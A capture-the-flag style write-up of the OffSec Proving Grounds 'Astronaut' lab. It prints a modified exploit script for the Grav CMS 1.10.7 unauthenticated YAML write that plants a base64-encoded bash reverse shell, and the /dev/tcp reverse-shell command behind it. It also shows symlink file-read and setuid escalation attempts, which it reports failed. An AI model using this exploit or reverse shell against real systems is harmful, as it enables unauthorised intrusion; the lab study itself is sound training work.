writeup 2026-01-10 · 5 min read

OffSec Proving Grounds Astronaut Writeup

Linux target. An unauthenticated YAML write in Grav CMS 1.10.7 gives a shell as www-data, and the intended root is a SUID php binary straight out of GTFOBins.

OffSec Proving Grounds Astronaut Writeup

Summary

Astronaut runs Grav CMS 1.10.7, whose unauthenticated arbitrary YAML write exploit is already in exploit-db. Adapting that proof of concept to carry a base64 encoded bash reverse shell returns a session as www-data. The intended escalation from there is the SUID bit on the php binary and the standard GTFOBins one liner, but on this run the SUID bit was never set, so that path stayed closed. The rest of the note records what enumeration turned up instead: the Apache vhost follows symlinks, so a symlink dropped in the Grav web root serves any readable file over HTTP, and the worker processes carry CAP_SETUID, CAP_SETGID and CAP_DAC_READ_SEARCH. Neither the symlink to /etc/shadow nor a PHP script calling setuid actually elevated, and the note leaves that behaviour unexplained.

Initial Access: GravCMS Arbitrary YAML Write/Update to RCE

I look for exploits related to Grav CMS.

1
searchsploit grav cms

This yields a plethora of results:

1
2
3
4
5
6
7
8
9
10
11
--------------------------------------------------- ---------------------------------
 Exploit Title                                     |  Path
--------------------------------------------------- ---------------------------------
Grav CMS 1.4.2 Admin Plugin - Cross-Site Scripting | php/webapps/42131.txt
Grav CMS 1.6.30 Admin Plugin 1.9.18 - 'Page Title' | php/webapps/49264.txt
Grav CMS 1.7.10 - Server-Side Template Injection ( | php/webapps/49961.py
Grav CMS 1.7.48 - Remote Code Execution (RCE)      | php/webapps/52402.txt
GravCMS 1.10.7 - Arbitrary YAML Write/Update (Unau | php/webapps/49973.py
GravCMS 1.10.7 - Unauthenticated Arbitrary File Wr | php/webapps/49788.rb
gravy media CMS 1.07 - Multiple Vulnerabilities    | php/webapps/8315.txt
--------------------------------------------------- ---------------------------------

The most recent version of the application that’s featured in the exploit list is 1.10.7. I use the related exploit:

1
searchsploit -m php/webapps/49973.py

I modify the exploit to fit my current needs:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# Exploit Title: GravCMS 1.10.7 - Arbitrary YAML Write/Update (Unauthenticated) (2)
# Original Exploit Author: Mehmet Ince
# Vendor Homepage: https://getgrav.org
# Version: 1.10.7
# Tested on: Debian 10
# Author: legend

#/usr/bin/python3

import requests
import sys
import re
import base64
target= "http://192.168.123.12/grav-admin"
#Change base64 encoded value with with below command.
#echo -ne "bash -i >& /dev/tcp/192.168.1.3/4444 0>&1" | base64 -w0
payload=b"""/*<?php /**/
file_put_contents('/tmp/rev.sh',base64_decode('YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ1LjIwNi80NDQ0IDA+JjE='));chmod('/tmp/rev.sh',0755);system('bash /tmp/rev.sh');
"""
s = requests.Session()
r = s.get(target+"/admin")
adminNonce = re.search(r'admin-nonce" value="(.*)"',r.text).group(1)
if adminNonce != "" :
    url = target + "/admin/tools/scheduler"
    data = "admin-nonce="+adminNonce
    data +='&task=SaveDefault&data%5bcustom_jobs%5d%5bncefs%5d%5bcommand%5d=/usr/bin/php&data%5bcustom_jobs%5d%5bncefs%5d%5bargs%5d=-r%20eval%28base64_decode%28%22'+base64.b64encode(payload).decode('utf-8')+'%22%29%29%3b&data%5bcustom_jobs%5d%5bncefs%5d%5bat%5d=%2a%20%2a%20%2a%20%2a%20%2a&data%5bcustom_jobs%5d%5bncefs%5d%5boutput%5d=&data%5bstatus%5d%5bncefs%5d=enabled&data%5bcustom_jobs%5d%5bncefs%5d%5boutput_mode%5d=append'
    headers = {'Content-Type': 'application/x-www-form-urlencoded'}
    r = s.post(target+"/admin/config/scheduler",data=data,headers=headers)
else:
    print('error')

To generate the proper base64 encoded shell, I do:

1
echo -ne 'bash -i >& /dev/tcp/192.168.45.206/4444 0>&1' | base64 -w 0

This will output the proper base64 encoded string to be placed in the code:

1
base64_decode('YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ1LjIwNi80NDQ0IDA+JjE=')

Vertical Privilege Escalation

Intended privesc is just abusing a php binary that has a SUID bit set. Exploitation steps can be found in GTFOBins. However, when tackling this machine, due to a unknown bug, this binary was never set with SUID, impeding me from escalating.

I did, however, whilst enumerating, find some interesting things worth looking at.

First of all, in the apache server configuration (/etc/apache2/sites-enabled/000-default.conf), I see it allows for symlink following:

1
2
3
4
5
6
7
8
9
10
<VirtualHost *:80>
        ServerAdmin webmaster@localhost
        <Directory /var/www/html/grav-admin/>
        Options +FollowSymlinks
        AllowOverride All
        Require all granted
        </Directory>
        ErrorLog /error.log
        CustomLog /access.log combined
</VirtualHost>

With my shell as www-data, I could create a symlink to any file in the system in /var/www/html/grav-admin:

1
ln -s /etc/passwd passwd

And access it at

1
view-source:http://192.168.123.12/grav-admin/passwd

What’s even more interesting is that, when reviewing capabilities, I saw this:

1
2
3
4
5
6
7
8
9
10
11
12
13
root       28662  0.0  1.1 236540 22560 ?        Ss   13:30   0:00 /usr/sbin/apache2 -k start
www-data   28664  0.0  0.4 236948  8308 ?        S    13:30   0:00  _ /usr/sbin/apache2 -k start
  └─(Caps) 0x00000000008000c4=cap_dac_read_search,cap_setgid,cap_setuid,cap_sys_nice
www-data   28665  0.0  0.4 236948  8288 ?        S    13:30   0:00  _ /usr/sbin/apache2 -k start
  └─(Caps) 0x00000000008000c4=cap_dac_read_search,cap_setgid,cap_setuid,cap_sys_nice
www-data   28666  0.0  0.4 236948  8288 ?        S    13:30   0:00  _ /usr/sbin/apache2 -k start
  └─(Caps) 0x00000000008000c4=cap_dac_read_search,cap_setgid,cap_setuid,cap_sys_nice
www-data   28667  0.0  0.4 236948  8288 ?        S    13:30   0:00  _ /usr/sbin/apache2 -k start
  └─(Caps) 0x00000000008000c4=cap_dac_read_search,cap_setgid,cap_setuid,cap_sys_nice
www-data   28668  0.0  0.4 236948  8288 ?        S    13:30   0:00  _ /usr/sbin/apache2 -k start
  └─(Caps) 0x00000000008000c4=cap_dac_read_search,cap_setgid,cap_setuid,cap_sys_nice
www-data   30443  0.0  0.4 236948  8372 ?        S    13:30   0:00  _ /usr/sbin/apache2 -k start
  └─(Caps) 0x00000000008000c4=cap_dac_read_search,cap_setgid,cap_setuid,cap_sys_nice

What I understand from this is that:

  1. CAP_SETUID / CAP_SETGID - These allow the processes to change to ANY user/group ID, including root.

  2. CAP_DAC_READ_SEARCH - This bypasses file read permission checks, allowing the web server to read files it shouldn’t have access to (like /etc/shadow, SSH keys, etc.).

Worker processes should run with no special capabilities, but since it has CAP_DAC_READ_SEARCH, I assumed I would be able to chain this capability with the fact that the server allows for symlink, to create a symlink to a restricted file like /etc/shadow:

1
ln -s /etc/shadow shadow

And access it normally via my web browser at http://192.168.123.12/grav-admin/shadow but it didn’t work. THe server returns 403 forbidden.

For **CAP_SETUID / CAP_SETGID, **this is how a php script that tries elevating the execution context to root would look like:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
// Attempt to change effective user/group ID to root
// This requires the script to already have appropriate permissions

// Check current UID
echo "Current UID: " . posix_getuid() . "\n";
echo "Current GID: " . posix_getgid() . "\n";

// Attempt to set GID to 0 (root group)
if (posix_setgid(0)) {
    echo "Successfully set GID to 0\n";
} else {
    echo "Failed to set GID to 0\n";
}

// Attempt to set UID to 0 (root)
if (posix_setuid(0)) {
    echo "Successfully set UID to 0\n";
} else {
    echo "Failed to set UID to 0\n";
}

// Verify new UID/GID
echo "New UID: " . posix_getuid() . "\n";
echo "New GID: " . posix_getgid() . "\n";

// Example: Execute a command as root
system('whoami');
?>

I tried this but when accessing it, the output was:

1
2
3
4
5
6
7
Current UID: 33
Current GID: 33
Failed to set GID to 0
Failed to set UID to 0
New UID: 33
New GID: 33
www-data

So idk how the capabilities are working here.

This post is licensed under CC BY 4.0 by the author.